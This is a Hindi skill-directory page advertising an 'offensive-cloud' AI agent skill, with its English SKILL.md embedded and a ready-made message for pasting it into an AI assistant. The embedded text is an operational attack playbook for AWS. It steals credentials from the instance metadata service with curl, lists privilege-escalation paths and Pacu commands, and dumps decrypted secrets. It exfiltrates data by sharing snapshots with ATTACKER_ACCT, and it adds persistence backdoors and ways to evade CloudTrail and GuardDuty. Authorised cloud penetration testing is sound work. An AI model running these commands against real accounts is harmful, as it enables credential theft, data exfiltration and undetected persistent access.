मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी10k · #11950

offensive-cloud

यह क्या करती है

यह स्किल AWS, Azure और GCP वातावरण के अधिकृत सुरक्षा परीक्षण की एक कार्यप्रणाली है। इसमें credential खोज, cloud enumeration टूल, privilege escalation रास्ते और persistence शामिल हैं। यह उन सुरक्षा पेशेवरों के लिए है जिनके पास cloud खाता परखने की लिखित अनुमति है।

कब इस्तेमाल करें

  • ✓जब आप अधिकृत penetration test में AWS, Azure या GCP खाते को परख रहे हों।
  • ✓जब आप cloud पहचान की permissions को ज्ञात privilege escalation रास्तों से मैप करना चाहते हों।
  • ✓जब आपको अधिकृत cloud मूल्यांकन के हिस्से के रूप में instance metadata या संग्रहीत credentials जाँचने हों।

Skill का लिंक

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cloud/offensive-cloud/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cloud/offensive-cloud/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमें अपने AWS खाते के परीक्षण की लिखित अनुमति है। देखिए कि वर्तमान role किस तक पहुँच सकती है और कौन से privilege escalation रास्ते हैं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

स्किल पहले cloud पहचान की पहचान करती है और बिना कोई बदलाव किए उसकी permissions की सूची बनाती है। फिर वह उन permissions को ज्ञात escalation तरीकों से मैप करती है और समय-चिह्न के साथ खोजें दर्ज करती है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

Quick Workflow

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

AWS

Identity Discovery

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

Path Required Permission Outcome
iam:PassRole + lambda:CreateFunction Pass any role to Lambda you create Run code as that role
iam:PassRole + ec2:RunInstances Pass any role to EC2 instance IMDS → role creds
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion Edit your own policy Self-elevate
iam:UpdateAssumeRolePolicy On a privileged role Add yourself as principal
iam:CreateLoginProfile (on user without one) Set console password Console access
iam:CreateAccessKey (on another user) Mint keys for someone else Persistent access
sts:AssumeRole with sts:TagSession to ABAC role If role trusts session tags Tag-based escalation
cloudformation:CreateStack + permissive role Run any service action Indirect arbitrary perms
glue:UpdateDevEndpoint Inject SSH key into Glue endpoint Code exec as Glue role
ssm:SendCommand to any instance RCE on instances + their roles Lateral + escalation
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

Azure

Identity Discovery

az account show
az ad signed-in-user show
अक्सर पूछे जाने वाले सवाल

क्या यह cloud में बदलाव करती है?

स्किल केवल पढ़ने वाली enumeration से शुरू होती है, और की गई कार्रवाइयों का रिकॉर्ड रखती है।

यह कौन से टूल बताती है?

यह Pacu, ScoutSuite, Prowler और ROADtools जैसे टूल का ज़िक्र करती है।

क्या यह सिर्फ़ अधिकृत परीक्षणों के लिए है?

हाँ। यह तय दायरे वाले अधिकृत मूल्यांकन के लिए लिखी गई है।

जानकारी

लेखक का मूल विवरण

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL ex

repo: SnailSploit/Claude-Red

लोकप्रियता

GitHub स्टार
10k
रैंकिंग में स्थान
#11950
लाइसेंस
MIT
अपडेट की गई
12/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

offensive-active-directory

10k

आपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।

कोडिंगसिक्योरिटी

offensive-netexec

10k

आपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।

कोडिंगसिक्योरिटी

offensive-api-abuse

10k

आपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।

कोडिंगसिक्योरिटी

offensive-api-security

10k

आपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।

कोडिंगसिक्योरिटी

मिलती-जुलती skills